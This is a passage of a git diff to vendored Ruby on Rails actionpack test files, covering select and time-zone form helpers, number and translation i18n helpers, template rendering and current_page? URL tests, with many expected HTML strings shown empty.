- "" + - "\n" + - "\n" + - "\n" + - "", - opts - end + def test_time_zone_options_with_unknown_selected + opts = time_zone_options_for_select( "K" ) + assert_dom_equal "\n" + + "\n" + + "\n" + + "\n" + + "", + opts + end - def test_time_zone_options_with_selected_priority_zones - zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ] - opts = time_zone_options_for_select( "E", zones ) - assert_dom_equal "\n" + - "" + - "\n" + - "\n" + - "\n" + - "", - opts - end + def test_time_zone_options_with_priority_zones + zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ] + opts = time_zone_options_for_select( nil, zones ) + assert_dom_equal "\n" + + "" + + "\n" + + "\n" + + "\n" + + "", + opts + end - def test_time_zone_options_with_unselected_priority_zones - zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ] - opts = time_zone_options_for_select( "C", zones ) - assert_dom_equal "\n" + - "" + - "\n" + - "\n" + - "\n" + - "", - opts - end + def test_time_zone_options_with_selected_priority_zones + zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ] + opts = time_zone_options_for_select( "E", zones ) + assert_dom_equal "\n" + + "" + + "\n" + + "\n" + + "\n" + + "", + opts + end - def test_select - @post = Post.new - @post.category = "" - assert_dom_equal( - "", - select("post", "category", %w( abe hest)) - ) - end + def test_time_zone_options_with_unselected_priority_zones + zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ] + opts = time_zone_options_for_select( "C", zones ) + assert_dom_equal "\n" + + "" + + "\n" + + "\n" + + "\n" + + "", + opts + end - def test_select_under_fields_for - @post = Post.new - @post.category = "" + def test_select + @post = Post.new + @post.category = "" + assert_dom_equal( + "", + select("post", "category", %w( abe hest)) + ) + end - fields_for :post, @post do |f| - concat f.select(:category, %w( abe hest)) - end - - assert_dom_equal( - "", - output_buffer - ) - end + def test_select_under_fields_for + @post = Post.new + @post.category = "" - def test_select_under_fields_for_with_index - @post = Post.new - @post.category = "" - - fields_for :post, @post, :index => 108 do |f| - concat f.select(:category, %w( abe hest)) - end - - assert_dom_equal( - "", - output_buffer - ) - end - - def test_select_under_fields_for_with_auto_index - @post = Post.new - @post.category = "" - def @post.to_param; 108; end - - fields_for "post[]", @post do |f| - concat f.select(:category, %w( abe hest)) - end - - assert_dom_equal( - "", - output_buffer - ) - end - - def test_select_with_blank - @post = Post.new - @post.category = "" - assert_dom_equal( - "", - select("post", "category", %w( abe hest), :include_blank => true) - ) - end - - def test_select_with_blank_as_string - @post = Post.new - @post.category = "" - assert_dom_equal( - "", - select("post", "category", %w( abe hest), :include_blank => 'None') - ) - end - - def test_select_with_default_prompt - @post = Post.new - @post.category = "" - assert_dom_equal( - "", - select("post", "category", %w( abe hest), :prompt => true) - ) - end - - def test_select_no_prompt_when_select_has_value - @post = Post.new - @post.category = "" - assert_dom_equal( - "", - select("post", "category", %w( abe hest), :prompt => true) - ) - end - - def test_select_with_given_prompt - @post = Post.new - @post.category = "" - assert_dom_equal( - "", - select("post", "category", %w( abe hest), :prompt => 'The prompt') - ) - end - - def test_select_with_prompt_and_blank - @post = Post.new - @post.category = "" - assert_dom_equal( - "", - select("post", "category", %w( abe hest), :prompt => true, :include_blank => true) - ) - end - - def test_select_with_selected_value - @post = Post.new - @post.category = "" - assert_dom_equal( - "", - select("post", "category", %w( abe hest ), :selected => 'abe') - ) + fields_for :post, @post do |f| + concat f.select(:category, %w( abe hest)) end - def test_select_with_index_option - @album = Album.new - @album.id = 1 - - expected = "" - - assert_dom_equal( - expected, - select("album[]", "genre", %w[rap rock country], {}, { :index => nil }) - ) - end - - def test_select_with_selected_nil - @post = Post.new - @post.category = "" - assert_dom_equal( - "", - select("post", "category", %w( abe hest ), :selected => nil) - ) - end - - def test_collection_select - @posts = [ - Post.new(" went home", "", "To a little house", "shh!"), - Post.new("Babe went home", "Babe", "To a little house", "shh!"), - Post.new("Cabe went home", "Cabe", "To a little house", "shh!") - ] - - @post = Post.new - @post.author_name = "Babe" - - assert_dom_equal( - "", - collection_select("post", "author_name", @posts, "author_name", "author_name") - ) - end - - def test_collection_select_under_fields_for - @posts = [ - Post.new(" went home", "", "To a little house", "shh!"), - Post.new("Babe went home", "Babe", "To a little house", "shh!"), - Post.new("Cabe went home", "Cabe", "To a little house", "shh!") - ] - - @post = Post.new - @post.author_name = "Babe" - - fields_for :post, @post do |f| - concat f.collection_select(:author_name, @posts, :author_name, :author_name) - end - - assert_dom_equal( - "", - output_buffer - ) - end - - def test_collection_select_under_fields_for_with_index - @posts = [ - Post.new(" went home", "", "To a little house", "shh!"), - Post.new("Babe went home", "Babe", "To a little house", "shh!"), - Post.new("Cabe went home", "Cabe", "To a little house", "shh!") - ] - - @post = Post.new - @post.author_name = "Babe" - - fields_for :post, @post, :index => 815 do |f| - concat f.collection_select(:author_name, @posts, :author_name, :author_name) - end - - assert_dom_equal( - "", - output_buffer - ) - end - - def test_collection_select_under_fields_for_with_auto_index - @posts = [ - Post.new(" went home", "", "To a little house", "shh!"), - Post.new("Babe went home", "Babe", "To a little house", "shh!"), - Post.new("Cabe went home", "Cabe", "To a little house", "shh!") - ] - - @post = Post.new - @post.author_name = "Babe" - def @post.to_param; 815; end - - fields_for "post[]", @post do |f| - concat f.collection_select(:author_name, @posts, :author_name, :author_name) - end - - assert_dom_equal( - "", - output_buffer - ) - end - - def test_collection_select_with_blank_and_style - @posts = [ - Post.new(" went home", "", "To a little house", "shh!"), - Post.new("Babe went home", "Babe", "To a little house", "shh!"), - Post.new("Cabe went home", "Cabe", "To a little house", "shh!") - ] - - @post = Post.new - @post.author_name = "Babe" - - assert_dom_equal( - "", - collection_select("post", "author_name", @posts, "author_name", "author_name", { :include_blank => true }, "style" => "width: 200px") - ) - end - - def test_collection_select_with_blank_as_string_and_style - @posts = [ - Post.new(" went home", "", "To a little house", "shh!"), - Post.new("Babe went home", "Babe", "To a little house", "shh!"), - Post.new("Cabe went home", "Cabe", "To a little house", "shh!") - ] - - @post = Post.new - @post.author_name = "Babe" - - assert_dom_equal( - "", - collection_select("post", "author_name", @posts, "author_name", "author_name", { :include_blank => 'No Selection' }, "style" => "width: 200px") - ) - end - - def test_collection_select_with_multiple_option_appends_array_brackets - @posts = [ - Post.new(" went home", "", "To a little house", "shh!"), - Post.new("Babe went home", "Babe", "To a little house", "shh!"), - Post.new("Cabe went home", "Cabe", "To a little house", "shh!") - ] - - @post = Post.new - @post.author_name = "Babe" - - expected = "" - - # Should suffix default name with []. - assert_dom_equal expected, collection_select("post", "author_name", @posts, "author_name", "author_name", { :include_blank => true }, :multiple => true) - - # Shouldn't suffix custom name with []. - assert_dom_equal expected, collection_select("post", "author_name", @posts, "author_name", "author_name", { :include_blank => true, :name => 'post[author_name][]' }, :multiple => true) - end - - def test_collection_select_with_blank_and_selected - @posts = [ - Post.new(" went home", "", "To a little house", "shh!"), - Post.new("Babe went home", "Babe", "To a little house", "shh!"), - Post.new("Cabe went home", "Cabe", "To a little house", "shh!") - ] - - @post = Post.new - @post.author_name = "Babe" - - assert_dom_equal( - %{}, - collection_select("post", "author_name", @posts, "author_name", "author_name", {:include_blank => true, :selected => ""}) - ) - end - - def test_time_zone_select - @firm = Firm.new("D") - html = time_zone_select( "firm", "time_zone" ) - assert_dom_equal "", - html - end - - def test_time_zone_select_under_fields_for - @firm = Firm.new("D") - - fields_for :firm, @firm do |f| - concat f.time_zone_select(:time_zone) - end - - assert_dom_equal( - "", - output_buffer - ) - end - - def test_time_zone_select_under_fields_for_with_index - @firm = Firm.new("D") - - fields_for :firm, @firm, :index => 305 do |f| - concat f.time_zone_select(:time_zone) - end - - assert_dom_equal( - "", - output_buffer - ) - end - - def test_time_zone_select_under_fields_for_with_auto_index - @firm = Firm.new("D") - def @firm.to_param; 305; end - - fields_for "firm[]", @firm do |f| - concat f.time_zone_select(:time_zone) - end - - assert_dom_equal( - "", - output_buffer - ) - end - - def test_time_zone_select_with_blank - @firm = Firm.new("D") - html = time_zone_select("firm", "time_zone", nil, :include_blank => true) - assert_dom_equal "", - html - end - - def test_time_zone_select_with_blank_as_string - @firm = Firm.new("D") - html = time_zone_select("firm", "time_zone", nil, :include_blank => 'No Zone') - assert_dom_equal "", - html - end - - def test_time_zone_select_with_style - @firm = Firm.new("D") - html = time_zone_select("firm", "time_zone", nil, {}, - "style" => "color: red") - assert_dom_equal "", - html - assert_dom_equal html, time_zone_select("firm", "time_zone", nil, {}, - :style => "color: red") - end - - def test_time_zone_select_with_blank_and_style - @firm = Firm.new("D") - html = time_zone_select("firm", "time_zone", nil, - { :include_blank => true }, "style" => "color: red") - assert_dom_equal "", - html - assert_dom_equal html, time_zone_select("firm", "time_zone", nil, - { :include_blank => true }, :style => "color: red") - end - - def test_time_zone_select_with_blank_as_string_and_style - @firm = Firm.new("D") - html = time_zone_select("firm", "time_zone", nil, - { :include_blank => 'No Zone' }, "style" => "color: red") - assert_dom_equal "", - html - assert_dom_equal html, time_zone_select("firm", "time_zone", nil, - { :include_blank => 'No Zone' }, :style => "color: red") - end - - def test_time_zone_select_with_priority_zones - @firm = Firm.new("D") - zones = [ ActiveSupport::TimeZone.new("A"), ActiveSupport::TimeZone.new("D") ] - html = time_zone_select("firm", "time_zone", zones ) - assert_dom_equal "", - html - end - - def test_time_zone_select_with_priority_zones_as_regexp - @firm = Firm.new("D") - @fake_timezones.each_with_index do |tz, i| - tz.stubs(:=~).returns(i.zero? || i == 3) - end - - html = time_zone_select("firm", "time_zone", /A|D/) - assert_dom_equal "", - html - end - - def test_time_zone_select_with_default_time_zone_and_nil_value - @firm = Firm.new() - @firm.time_zone = nil - html = time_zone_select( "firm", "time_zone", nil, :default => 'B' ) - assert_dom_equal "", - html - end - - def test_time_zone_select_with_default_time_zone_and_value - @firm = Firm.new('D') - html = time_zone_select( "firm", "time_zone", nil, :default => 'B' ) - assert_dom_equal "", - html - end - + assert_dom_equal( + "", + output_buffer + ) end + + def test_select_under_fields_for_with_index + @post = Post.new + @post.category = "" + + fields_for :post, @post, :index => 108 do |f| + concat f.select(:category, %w( abe hest)) + end + + assert_dom_equal( + "", + output_buffer + ) + end + + def test_select_under_fields_for_with_auto_index + @post = Post.new + @post.category = "" + def @post.to_param; 108; end + + fields_for "post[]", @post do |f| + concat f.select(:category, %w( abe hest)) + end + + assert_dom_equal( + "", + output_buffer + ) + end + + def test_select_with_blank + @post = Post.new + @post.category = "" + assert_dom_equal( + "", + select("post", "category", %w( abe hest), :include_blank => true) + ) + end + + def test_select_with_blank_as_string + @post = Post.new + @post.category = "" + assert_dom_equal( + "", + select("post", "category", %w( abe hest), :include_blank => 'None') + ) + end + + def test_select_with_default_prompt + @post = Post.new + @post.category = "" + assert_dom_equal( + "", + select("post", "category", %w( abe hest), :prompt => true) + ) + end + + def test_select_no_prompt_when_select_has_value + @post = Post.new + @post.category = "" + assert_dom_equal( + "", + select("post", "category", %w( abe hest), :prompt => true) + ) + end + + def test_select_with_given_prompt + @post = Post.new + @post.category = "" + assert_dom_equal( + "", + select("post", "category", %w( abe hest), :prompt => 'The prompt') + ) + end + + def test_select_with_prompt_and_blank + @post = Post.new + @post.category = "" + assert_dom_equal( + "", + select("post", "category", %w( abe hest), :prompt => true, :include_blank => true) + ) + end + + def test_select_with_selected_value + @post = Post.new + @post.category = "" + assert_dom_equal( + "", + select("post", "category", %w( abe hest ), :selected => 'abe') + ) + end + + def test_select_with_index_option + @album = Album.new + @album.id = 1 + + expected = "" + + assert_dom_equal( + expected, + select("album[]", "genre", %w[rap rock country], {}, { :index => nil }) + ) + end + + def test_select_with_selected_nil + @post = Post.new + @post.category = "" + assert_dom_equal( + "", + select("post", "category", %w( abe hest ), :selected => nil) + ) + end + + def test_select_with_disabled_value + @post = Post.new + @post.category = "" + assert_dom_equal( + "", + select("post", "category", %w( abe hest ), :disabled => 'hest') + ) + end + + def test_select_with_disabled_array + @post = Post.new + @post.category = "" + assert_dom_equal( + "", + select("post", "category", %w( abe hest ), :disabled => ['hest', 'abe']) + ) + end + + def test_collection_select + @post = Post.new + @post.author_name = "Babe" + + assert_dom_equal( + "", + collection_select("post", "author_name", dummy_posts, "author_name", "author_name") + ) + end + + def test_collection_select_under_fields_for + @post = Post.new + @post.author_name = "Babe" + + fields_for :post, @post do |f| + concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name) + end + + assert_dom_equal( + "", + output_buffer + ) + end + + def test_collection_select_under_fields_for_with_index + @post = Post.new + @post.author_name = "Babe" + + fields_for :post, @post, :index => 815 do |f| + concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name) + end + + assert_dom_equal( + "", + output_buffer + ) + end + + def test_collection_select_under_fields_for_with_auto_index + @post = Post.new + @post.author_name = "Babe" + def @post.to_param; 815; end + + fields_for "post[]", @post do |f| + concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name) + end + + assert_dom_equal( + "", + output_buffer + ) + end + + def test_collection_select_with_blank_and_style + @post = Post.new + @post.author_name = "Babe" + + assert_dom_equal( + "", + collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, "style" => "width: 200px") + ) + end + + def test_collection_select_with_blank_as_string_and_style + @post = Post.new + @post.author_name = "Babe" + + assert_dom_equal( + "", + collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => 'No Selection' }, "style" => "width: 200px") + ) + end + + def test_collection_select_with_multiple_option_appends_array_brackets + @post = Post.new + @post.author_name = "Babe" + + expected = "" + + # Should suffix default name with []. + assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, :multiple => true) + + # Shouldn't suffix custom name with []. + assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true, :name => 'post[author_name][]' }, :multiple => true) + end + + def test_collection_select_with_blank_and_selected + @post = Post.new + @post.author_name = "Babe" + + assert_dom_equal( + %{}, + collection_select("post", "author_name", dummy_posts, "author_name", "author_name", {:include_blank => true, :selected => ""}) + ) + end + + def test_collection_select_with_disabled + @post = Post.new + @post.author_name = "Babe" + + assert_dom_equal( + "", + collection_select("post", "author_name", dummy_posts, "author_name", "author_name", :disabled => 'Cabe') + ) + end + + def test_time_zone_select + @firm = Firm.new("D") + html = time_zone_select( "firm", "time_zone" ) + assert_dom_equal "", + html + end + + def test_time_zone_select_under_fields_for + @firm = Firm.new("D") + + fields_for :firm, @firm do |f| + concat f.time_zone_select(:time_zone) + end + + assert_dom_equal( + "", + output_buffer + ) + end + + def test_time_zone_select_under_fields_for_with_index + @firm = Firm.new("D") + + fields_for :firm, @firm, :index => 305 do |f| + concat f.time_zone_select(:time_zone) + end + + assert_dom_equal( + "", + output_buffer + ) + end + + def test_time_zone_select_under_fields_for_with_auto_index + @firm = Firm.new("D") + def @firm.to_param; 305; end + + fields_for "firm[]", @firm do |f| + concat f.time_zone_select(:time_zone) + end + + assert_dom_equal( + "", + output_buffer + ) + end + + def test_time_zone_select_with_blank + @firm = Firm.new("D") + html = time_zone_select("firm", "time_zone", nil, :include_blank => true) + assert_dom_equal "", + html + end + + def test_time_zone_select_with_blank_as_string + @firm = Firm.new("D") + html = time_zone_select("firm", "time_zone", nil, :include_blank => 'No Zone') + assert_dom_equal "", + html + end + + def test_time_zone_select_with_style + @firm = Firm.new("D") + html = time_zone_select("firm", "time_zone", nil, {}, + "style" => "color: red") + assert_dom_equal "", + html + assert_dom_equal html, time_zone_select("firm", "time_zone", nil, {}, + :style => "color: red") + end + + def test_time_zone_select_with_blank_and_style + @firm = Firm.new("D") + html = time_zone_select("firm", "time_zone", nil, + { :include_blank => true }, "style" => "color: red") + assert_dom_equal "", + html + assert_dom_equal html, time_zone_select("firm", "time_zone", nil, + { :include_blank => true }, :style => "color: red") + end + + def test_time_zone_select_with_blank_as_string_and_style + @firm = Firm.new("D") + html = time_zone_select("firm", "time_zone", nil, + { :include_blank => 'No Zone' }, "style" => "color: red") + assert_dom_equal "", + html + assert_dom_equal html, time_zone_select("firm", "time_zone", nil, + { :include_blank => 'No Zone' }, :style => "color: red") + end + + def test_time_zone_select_with_priority_zones + @firm = Firm.new("D") + zones = [ ActiveSupport::TimeZone.new("A"), ActiveSupport::TimeZone.new("D") ] + html = time_zone_select("firm", "time_zone", zones ) + assert_dom_equal "", + html + end + + def test_time_zone_select_with_priority_zones_as_regexp + @firm = Firm.new("D") + @fake_timezones.each_with_index do |tz, i| + tz.stubs(:=~).returns(i.zero? || i == 3) + end + + html = time_zone_select("firm", "time_zone", /A|D/) + assert_dom_equal "", + html + end + + def test_time_zone_select_with_default_time_zone_and_nil_value + @firm = Firm.new() + @firm.time_zone = nil + html = time_zone_select( "firm", "time_zone", nil, :default => 'B' ) + assert_dom_equal "", + html + end + + def test_time_zone_select_with_default_time_zone_and_value + @firm = Firm.new('D') + html = time_zone_select( "firm", "time_zone", nil, :default => 'B' ) + assert_dom_equal "", + html + end + + private + + def dummy_posts + [ Post.new(" went home", "", "To a little house", "shh!"), + Post.new("Babe went home", "Babe", "To a little house", "shh!"), + Post.new("Cabe went home", "Cabe", "To a little house", "shh!") ] + end end diff --git a/vendor/rails/actionpack/test/template/number_helper_i18n_test.rb b/vendor/rails/actionpack/test/template/number_helper_i18n_test.rb index 3fdf991a..bf5b8129 100644 --- a/vendor/rails/actionpack/test/template/number_helper_i18n_test.rb +++ b/vendor/rails/actionpack/test/template/number_helper_i18n_test.rb @@ -5,67 +5,65 @@ class NumberHelperI18nTests < Test::Unit::TestCase attr_reader :request - uses_mocha 'number_helper_i18n_tests' do - def setup - @number_defaults = { :precision => 3, :delimiter => ',', :separator => '.' } - @currency_defaults = { :unit => '$', :format => '%u%n', :precision => 2 } - @human_defaults = { :precision => 1 } - @human_storage_units_format_default = "%n %u" - @human_storage_units_units_byte_other = "Bytes" - @human_storage_units_units_kb_other = "KB" - @percentage_defaults = { :delimiter => '' } - @precision_defaults = { :delimiter => '' } + def setup + @number_defaults = { :precision => 3, :delimiter => ',', :separator => '.' } + @currency_defaults = { :unit => '$', :format => '%u%n', :precision => 2 } + @human_defaults = { :precision => 1 } + @human_storage_units_format_default = "%n %u" + @human_storage_units_units_byte_other = "Bytes" + @human_storage_units_units_kb_other = "KB" + @percentage_defaults = { :delimiter => '' } + @precision_defaults = { :delimiter => '' } - I18n.backend.store_translations 'en', :number => { :format => @number_defaults, - :currency => { :format => @currency_defaults }, :human => @human_defaults } - end + I18n.backend.store_translations 'en', :number => { :format => @number_defaults, + :currency => { :format => @currency_defaults }, :human => @human_defaults } + end - def test_number_to_currency_translates_currency_formats - I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) - I18n.expects(:translate).with(:'number.currency.format', :locale => 'en', - :raise => true).returns(@currency_defaults) - number_to_currency(1, :locale => 'en') - end + def test_number_to_currency_translates_currency_formats + I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) + I18n.expects(:translate).with(:'number.currency.format', :locale => 'en', + :raise => true).returns(@currency_defaults) + number_to_currency(1, :locale => 'en') + end - def test_number_with_precision_translates_number_formats - I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) - I18n.expects(:translate).with(:'number.precision.format', :locale => 'en', - :raise => true).returns(@precision_defaults) - number_with_precision(1, :locale => 'en') - end + def test_number_with_precision_translates_number_formats + I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) + I18n.expects(:translate).with(:'number.precision.format', :locale => 'en', + :raise => true).returns(@precision_defaults) + number_with_precision(1, :locale => 'en') + end - def test_number_with_delimiter_translates_number_formats - I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) - number_with_delimiter(1, :locale => 'en') - end + def test_number_with_delimiter_translates_number_formats + I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) + number_with_delimiter(1, :locale => 'en') + end - def test_number_to_percentage_translates_number_formats - I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) - I18n.expects(:translate).with(:'number.percentage.format', :locale => 'en', - :raise => true).returns(@percentage_defaults) - number_to_percentage(1, :locale => 'en') - end + def test_number_to_percentage_translates_number_formats + I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) + I18n.expects(:translate).with(:'number.percentage.format', :locale => 'en', + :raise => true).returns(@percentage_defaults) + number_to_percentage(1, :locale => 'en') + end - def test_number_to_human_size_translates_human_formats - I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) - I18n.expects(:translate).with(:'number.human.format', :locale => 'en', - :raise => true).returns(@human_defaults) - I18n.expects(:translate).with(:'number.human.storage_units.format', :locale => 'en', - :raise => true).returns(@human_storage_units_format_default) - I18n.expects(:translate).with(:'number.human.storage_units.units.kb', :locale => 'en', :count => 2, - :raise => true).returns(@human_storage_units_units_kb_other) - # 2KB - number_to_human_size(2048, :locale => 'en') + def test_number_to_human_size_translates_human_formats + I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) + I18n.expects(:translate).with(:'number.human.format', :locale => 'en', + :raise => true).returns(@human_defaults) + I18n.expects(:translate).with(:'number.human.storage_units.format', :locale => 'en', + :raise => true).returns(@human_storage_units_format_default) + I18n.expects(:translate).with(:'number.human.storage_units.units.kb', :locale => 'en', :count => 2, + :raise => true).returns(@human_storage_units_units_kb_other) + # 2KB + number_to_human_size(2048, :locale => 'en') - I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) - I18n.expects(:translate).with(:'number.human.format', :locale => 'en', - :raise => true).returns(@human_defaults) - I18n.expects(:translate).with(:'number.human.storage_units.format', :locale => 'en', - :raise => true).returns(@human_storage_units_format_default) - I18n.expects(:translate).with(:'number.human.storage_units.units.byte', :locale => 'en', :count => 42, - :raise => true).returns(@human_storage_units_units_byte_other) - # 42 Bytes - number_to_human_size(42, :locale => 'en') - end + I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults) + I18n.expects(:translate).with(:'number.human.format', :locale => 'en', + :raise => true).returns(@human_defaults) + I18n.expects(:translate).with(:'number.human.storage_units.format', :locale => 'en', + :raise => true).returns(@human_storage_units_format_default) + I18n.expects(:translate).with(:'number.human.storage_units.units.byte', :locale => 'en', :count => 42, + :raise => true).returns(@human_storage_units_units_byte_other) + # 42 Bytes + number_to_human_size(42, :locale => 'en') end end diff --git a/vendor/rails/actionpack/test/template/render_test.rb b/vendor/rails/actionpack/test/template/render_test.rb index c7405d47..de7fa3de 100644 --- a/vendor/rails/actionpack/test/template/render_test.rb +++ b/vendor/rails/actionpack/test/template/render_test.rb @@ -1,3 +1,4 @@ +# encoding: utf-8 require 'abstract_unit' require 'controller/fake_models' @@ -9,6 +10,7 @@ module RenderTestCases # Reload and register danish language for testing I18n.reload! I18n.backend.store_translations 'da', {} + I18n.backend.store_translations 'pt-BR', {} # Ensure original are still the same since we are reindexing view paths assert_equal ORIGINAL_LOCALES, I18n.available_locales.map(&:to_s).sort @@ -34,6 +36,33 @@ module RenderTestCases I18n.locale = old_locale end + def test_render_file_with_dashed_locale + old_locale = I18n.locale + I18n.locale = :"pt-BR" + assert_equal "Ola mundo", @view.render(:file => "test/hello_world") + ensure + I18n.locale = old_locale + end + + def test_render_implicit_html_template_from_xhr_request + old_format = @view.template_format + @view.template_format = :js + assert_equal "Hello HTML!", @view.render(:file => "test/render_implicit_html_template_from_xhr_request") + ensure + @view.template_format = old_format + end + + def test_render_implicit_html_template_from_xhr_request_with_localization + old_locale = I18n.locale + old_format = @view.template_format + I18n.locale = :da + @view.template_format = :js + assert_equal "Hey HTML!\n", @view.render(:file => "test/render_implicit_html_template_from_xhr_request") + ensure + I18n.locale = old_locale + @view.template_format = old_format + end + def test_render_file_at_top_level assert_equal 'Elastica', @view.render(:file => '/shared') end @@ -195,6 +224,16 @@ module RenderTestCases assert_equal 'source: Hello, <%= name %>!; locals: {:name=>"Josh"}', @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" }, :type => :foo) end + def test_render_ignores_templates_with_malformed_template_handlers + %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name| + assert_raise(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") } + end + end + + def test_template_with_malformed_template_handler_is_reachable_trough_its_exact_filename + assert_equal "Don't render me!", @view.render(:file => 'test/malformed/malformed.html.erb~') + end + def test_render_with_layout assert_equal %(\nHello world!\n), @view.render(:file => "test/hello_world.erb", :layout => "layouts/yield") @@ -204,28 +243,44 @@ module RenderTestCases assert_equal %(title\n
column
\n
content
\n), @view.render(:file => "test/nested_layout.erb", :layout => "layouts/yield") end -end -class CachedViewRenderTest < Test::Unit::TestCase - include RenderTestCases - - # Ensure view path cache is primed - def setup - view_paths = ActionController::Base.view_paths - assert_equal ActionView::Template::EagerPath, view_paths.first.class - setup_view(view_paths) + if '1.9'.respond_to?(:force_encoding) + def test_render_utf8_template + result = @view.render(:file => "test/utf8.html.erb", :layouts => "layouts/yield") + assert_equal "Русский текст\n日本語のテキスト", result + assert_equal Encoding::UTF_8, result.encoding + end end end -class LazyViewRenderTest < Test::Unit::TestCase - include RenderTestCases - - # Test the same thing as above, but make sure the view path - # is not eager loaded - def setup - path = ActionView::Template::Path.new(FIXTURE_LOAD_PATH) - view_paths = ActionView::Base.process_view_paths(path) - assert_equal ActionView::Template::Path, view_paths.first.class +module TemplatesSetupTeardown + def setup_view_paths_for(new_cache_template_loading) + @previous_cache_template_loading, ActionView::Base.cache_template_loading = ActionView::Base.cache_template_loading, new_cache_template_loading + view_paths = new_cache_template_loading ? CACHED_VIEW_PATHS : ActionView::Base.process_view_paths(CACHED_VIEW_PATHS.map(&:to_s)) + assert_equal(new_cache_template_loading ? ActionView::Template::EagerPath : ActionView::ReloadableTemplate::ReloadablePath, view_paths.first.class) setup_view(view_paths) end + + def teardown + ActionView::Base.cache_template_loading = @previous_cache_template_loading + end end + +class CachedRenderTest < Test::Unit::TestCase + include TemplatesSetupTeardown + include RenderTestCases + + def setup + setup_view_paths_for(cache_templates = true) + end +end + +class ReloadableRenderTest < Test::Unit::TestCase + include TemplatesSetupTeardown + include RenderTestCases + + def setup + setup_view_paths_for(cache_templates = false) + end +end + diff --git a/vendor/rails/actionpack/test/template/test_test.rb b/vendor/rails/actionpack/test/template/test_test.rb index 660f51b3..ccd299f4 100644 --- a/vendor/rails/actionpack/test/template/test_test.rb +++ b/vendor/rails/actionpack/test/template/test_test.rb @@ -38,12 +38,10 @@ class PeopleHelperTest < ActionView::TestCase assert_equal "http://test.host/people", homepage_url end - uses_mocha "link_to_person" do - def test_link_to_person - person = mock(:name => "David") - expects(:mocha_mock_path).with(person).returns("/people/1") - assert_equal 'David', link_to_person(person) - end + def test_link_to_person + person = mock(:name => "David") + expects(:mocha_mock_path).with(person).returns("/people/1") + assert_equal 'David', link_to_person(person) end end diff --git a/vendor/rails/actionpack/test/template/translation_helper_test.rb b/vendor/rails/actionpack/test/template/translation_helper_test.rb index d0d65cb4..a20f3c39 100644 --- a/vendor/rails/actionpack/test/template/translation_helper_test.rb +++ b/vendor/rails/actionpack/test/template/translation_helper_test.rb @@ -5,24 +5,28 @@ class TranslationHelperTest < Test::Unit::TestCase include ActionView::Helpers::TranslationHelper attr_reader :request - uses_mocha 'translation_helper_test' do - def setup - end - - def test_delegates_to_i18n_setting_the_raise_option - I18n.expects(:translate).with(:foo, :locale => 'en', :raise => true) - translate :foo, :locale => 'en' - end - - def test_returns_missing_translation_message_wrapped_into_span - expected = 'en, foo' - assert_equal expected, translate(:foo) - end - - def test_delegates_localize_to_i18n - @time = Time.utc(2008, 7, 8, 12, 18, 38) - I18n.expects(:localize).with(@time) - localize @time - end + def setup end -end \ No newline at end of file + + def test_delegates_to_i18n_setting_the_raise_option + I18n.expects(:translate).with(:foo, :locale => 'en', :raise => true) + translate :foo, :locale => 'en' + end + + def test_returns_missing_translation_message_wrapped_into_span + expected = 'en, foo' + assert_equal expected, translate(:foo) + end + + def test_delegates_localize_to_i18n + @time = Time.utc(2008, 7, 8, 12, 18, 38) + I18n.expects(:localize).with(@time) + localize @time + end + + def test_scoping_by_partial + expects(:template).returns(stub(:path_without_format_and_extension => "people/index")) + I18n.expects(:translate).with("people.index.foo", :locale => 'en', :raise => true) + translate ".foo", :locale => 'en' + end +end diff --git a/vendor/rails/actionpack/test/template/url_helper_test.rb b/vendor/rails/actionpack/test/template/url_helper_test.rb index 2f6fa134..e7799fb2 100644 --- a/vendor/rails/actionpack/test/template/url_helper_test.rb +++ b/vendor/rails/actionpack/test/template/url_helper_test.rb @@ -252,6 +252,27 @@ class UrlHelperTest < ActionView::TestCase assert_equal "Showing", link_to_if(false, "Showing", :action => "show", :controller => "weblog", :id => 1) end + def test_current_page_with_simple_url + @controller.request = RequestMock.new("http://www.example.com/weblog/show") + @controller.url = "http://www.example.com/weblog/show" + assert current_page?({ :action => "show", :controller => "weblog" }) + assert current_page?("http://www.example.com/weblog/show") + end + + def test_current_page_ignoring_params + @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc&page=1") + @controller.url = "http://www.example.com/weblog/show?order=desc&page=1" + assert current_page?({ :action => "show", :controller => "weblog" }) + assert current_page?("http://www.example.com/weblog/show") + end + + def test_current_page_with_params_that_match + @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc&page=1") + @controller.url = "http://www.example.com/weblog/show?order=desc&page=1" + assert current_page?({ :action => "show", :controller => "weblog", :order => "desc", :page => "1" }) + assert 